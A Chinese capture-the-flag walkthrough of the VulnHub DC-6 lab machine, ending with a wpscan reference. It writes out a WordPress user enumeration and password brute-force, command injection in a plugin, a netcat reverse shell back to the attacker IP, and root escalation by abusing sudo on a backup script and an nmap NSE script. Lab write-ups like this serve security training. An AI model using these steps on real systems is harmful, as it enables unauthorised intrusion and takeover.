靶场地址
https://download.vulnhub.com/dc/DC-6.zip
目标
获取所有的的flag
漏洞复现
sudo arp-scan -l
# 主机发现
nmap -p- 192.168.5.130 --min-rate=5000
# 探测开放端口,发现开放了22和80端口
http://192.168.5.130:80
# 访问80端口
发现访问失败,并且url被解析成了http://wordy/,这个修改修改hosts文件
192.168.5.130 wordy
http://192.168.5.130:80
# 再次访问80端口,使用Wappalyzer插件,判断网站的CMS和框架看看是否存在历史漏洞
dirsearch -u http://192.168.5.130:80 -x 403 404
# 探测网站目录,寻找该CMS的后台管理系统
http://192.168.5.130/wp-admin
# 找到了登录界面,尝试爆破账号密码
wpscan --url http://wordy -e u
# 使用wpscan工具爆破用户名
得到五个用户名,将他们写进一个文件夹中user.txt
admin
graham
mark
sarah
jens
在下载靶机的时候,作者提示
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
得到了账号密码字典之后,我们就可以开始进行爆破了
wpscan --url http://wordy -P passwords.txt -U user.txt
mark helpdesk01
登录成功之后,开始寻找可利用的点,该网站使用了“acticity monitor”工具,在“activity monitor”目录的“tools”发现了存在了注入的点
接下来使用BurpSuite抓包
既然有回显,接下来fantanshell
kali:nc -lvvp 4444
DC-6:nc -e /bin/bash 192.168.5.129 4444
python -c 'import pty;pty.spawn("/bin/bash")'
# 利用pty模块创建一个伪终端
寻找有用的信息,在 /home/mark/stuff 目录下发现了一个things-to-do.txt
cd /home/mark/stuff
cat things-to-do.txt
发现了一个新的用户名和密码
graham GSo7isUM1D4
在探测端口的时候,发现靶场也开放了22端口
ssh graham@192.168.5.130
sudo -l
# 查看一下可以提权的命令,发现了免密的/home/jens/backups.sh
cd /home/jens
cat backups.sh
# 里面是一个压缩命令行,说明该文件可以运行,因此在该文件中添加/bin/bash语句,则可以打开jens中的shell
echo '/bin/bash' >> backups.sh
# 在文件中添加命令行
sudo -u jens ./backups.sh
# -u 指定用户
sudo -l
# 查看一下可以提权的命令,发现jens可以免密码运行root权限nmap,此时想到nmap可以运行文件,那么我们写一个打开root shell的文件,再让nmap执行,就可以拿到root权限了
echo 'os.execute("/bin/sh")' >getshell.nse
# 写一个root shell的文件
sudo nmap --script=getshell.nse
# 运行
cd ../../../../root
cat theflag.txt
总结
1、wpscan(漏洞扫描工具)
Wpscan 是一款用于扫描 WordPress 网站漏洞的工具。它可以帮助发现诸如用户信息、插件漏洞、主题漏洞等安全问题,以便网站管理员能够及时采取措施进行修复和加强安全防护。Wpscan 通常在命令行中使用,并支持多种扫描选项和参数来满足不同的扫描需求。
基本语法:
wpscan --url http://xxxx.com/wordpress -P [密码字典] -U [用户名字典]
常用参数:
--url # 指定要扫描的WordPress网站的URL。
-u或--users # 指定要枚举用户名的列表文件路径。
--username # 指定一个特定的用户名进行登录尝试。
--password # 指定一个密码与用户名一起用于登录尝试。
--proxy # 使用代理服务器进行扫描。
--api-token # 使用WPScanAPI服务时提供的API令牌。
--no-update # 禁止在开始扫描前检查Wpscan的更新。
-e或--enumerate # 枚举插件、主题或用户。
--skip-discover # 跳过发现WordPress安装的步骤。
--xml # 以XML格式输出扫描结果。
--json # 以JSON格式输出扫描结果。
--rate-limit # 设置请求之间的延迟(以秒为单位)。
--wordlist # 指定用于字典攻击的字典文件。
举例说明:
wpscan --url http://wordy -e u
wpscan --url http://wordy -P passwords.txt -U user.txt